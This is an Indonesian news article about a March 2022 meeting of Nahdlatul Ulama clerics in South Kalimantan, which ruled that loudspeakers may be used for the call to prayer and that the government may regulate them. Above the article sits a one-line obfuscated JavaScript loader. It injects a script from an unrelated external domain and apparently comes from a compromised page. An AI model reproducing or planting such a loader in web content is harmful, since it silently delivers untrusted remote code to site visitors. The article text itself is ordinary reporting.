(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Bahtsul Masail para kyai NU se Kalimantan Selatan (Kalsel) memutuskan bahwa pemerintah boleh mengatur pengeras suara kegiatan keagamaan.
Putusan itu diperoleh para kiyai NU se Kalsel saat menggelar Bahtsul Masail di Asrama Haji Banjarmasin pada Sabtu (5/3/2022). Ternyata dalam kitab kuning para ulama yang menjadi rujukan ulama NU sudah membahas perihal menyaringkan suara dalam beribadah.
“Bahtsul Masail memutuskan bahwa penggunaan pengeras suara untuk keperluan ibadah seperti azan dan lainnya, hukumnya boleh. Namun kebolehan menggunakan pengeras suara selain untuk azan dibatasi selama tidak membuat orang lain merasa terganggu,” terang KH Khairullah Zain, Ketua Lembaga Bahtsul Masail (LBM) PWNU Kalsel.
“Bahkan tim perumus menemukan bahwa dalam Kitab Al ‘Ubbab, karangan Imam Ibnu Hajar Al Haytami menyebutkan batasan maksimal suara azan adalah didengar dari jarak 1 mil klasik, atau kisaran 1,6 kilometer,” beber alumni Jurusan Fiqhiyyah Ma’had ‘Aly Pondok Pesantren Darussalam ini.
Baca juga: Minyak Goreng Langka, Modus Toko Modern di Banjarbaru Jual Migor Paket Bundling
Selain itu, menurut Khairullah, Bahtsul Masail memutuskan bahwa mendengar suara yang terdengar dari pengeras suara sama hukumnya dengan mendengar langsung dari manusia, selama suara tersebut bukan berasal dari rekaman.
Sehingga berdampak pada turunan hukum, misalnya sunnah berdiam ketika mendengar azan, ketika mendengar orang membaca Al Quran, dan seterusnya.
“Bahtsul Masail juga memutuskan bahwa pemerintah boleh mengatur penggunaan pengeras suara dalam kegiatan ibadah, demi kemaslahatan bersama,” ujar pemerhati fikih dan sosial masyarakat ini.
Bahtsul Masail LBM PWNU Kalsel yang digelar dalam rangka peringatan hari lahir Nahdlatul Ulama ke-96 ini dihadiri oleh para kyai urusan dari pengaruh cabang Nahdlatul Ulama se Kalsel.
“Sekian lama, kegiatan yang merupakan ciri khas NU ini telah lama vakum di Kalimantan Selatan. Karenanya, kami yang mendapat amanah untuk mengurus Lembaga Bahtsul Masail PWNU Kalsel berupaya menghidupkan kembali tradisi ilmiah para kiai ini,” kata Khairullah Zain.
“Kebetulan saat ini masalah yang sedang ramai diperbincangkan dan terjadi kontroversi di kalangan masyarakat kita adalah tentang aturan penggunaan pengeras suara dalam kegiatan keagamaan. Karenanya, kami dari Lembaga Bahtsul Masail yang ditugaskan untuk merumuskan topik bahasan mengangkat masalah ini,” jelasnya.
Baca juga: Diduga Terlibat Jual Narkoba, Pelajar Masih 14 Tahun di Cempaka Ditangkap Polisi
Ketua LBM PWNU Kalsel ini berharap kedepannya Bahtsul Masail akan kembali mentradisi di setiap acara NU di Kalimantan Selatan ini.
“Kami dari Pengurus Lembaga Bahtsul Masail PWNU Kalsel bertekad untuk siap mendampingi pelaksanaan Bahtsul Masail bila pengurus cabang ingin melaksanakan Bahtsul Masail dan memerlukan pendampingan,” pungkasnya. (Kanalkalimantan.com/rdy)
Reporter : rdy
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
This website uses cookies.